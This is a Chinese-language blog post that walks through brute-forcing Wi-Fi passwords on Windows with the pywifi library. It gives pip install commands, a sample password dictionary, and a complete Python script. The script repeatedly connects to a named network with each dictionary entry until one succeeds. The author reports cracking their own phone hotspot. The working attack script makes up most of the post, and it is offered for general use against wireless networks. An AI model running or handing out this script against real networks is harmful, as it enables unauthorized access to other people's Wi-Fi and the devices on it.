基于pywifi库的暴力破解wifi方法

简介

        破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。

        时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?

        一番探索,真有!


环境准备

安装pywifi库

pip install pywifi

pip install comtypes


前期准备

        破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。

        因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:

nihaonihao
132312312
3242342534
53536346534
2423423423
2445356356
234232342
234234234
234453456
12345678
11111111
123123234

代码实现

import pywifi
from pywifi import const
import time

# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):
    '''WIFI的测试连接'''
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #断开WiFi连接
    ifaces.disconnect()
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建WIFI文件
        profile = pywifi.Profile()
        # wifi名称
        profile.ssid = wifiname
        # 密码
        profile.key = wifipwd
        # WiFi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 网卡的开放
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的WIFI文件
        ifaces.remove_all_network_profiles()
        # 设定新的链接文件
        temp_profile = ifaces.add_network_profile(profile)
        # 连接wifi
        ifaces.connect(temp_profile)
        time.sleep(1)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

# 读取密码本
def read_pwd():
    '''读取密码本'''
    print('开始破解:')
    path = r'wifipwd.txt'    # 密码字典路径
    file = open(path, 'r')
    
    # 开始遍历密码本
    while True:
        try:
            wifipwd = file.readline()
            if wifipwd:
                wifipwd = wifipwd[:-1]  # 删掉最后的换行符
                b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称
                if b:
                    print('密码正确'+wifipwd)
                    break   # 退出一层循环
                else:
                    print('密码错误'+wifipwd)
            else:
                break
        except:
            continue
    file.close()

read_pwd()

测试结果

成功发现我的手机热点密码为 12345678


简评

        所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。

  • 1
    点赞
  • 55
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星羽空间

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值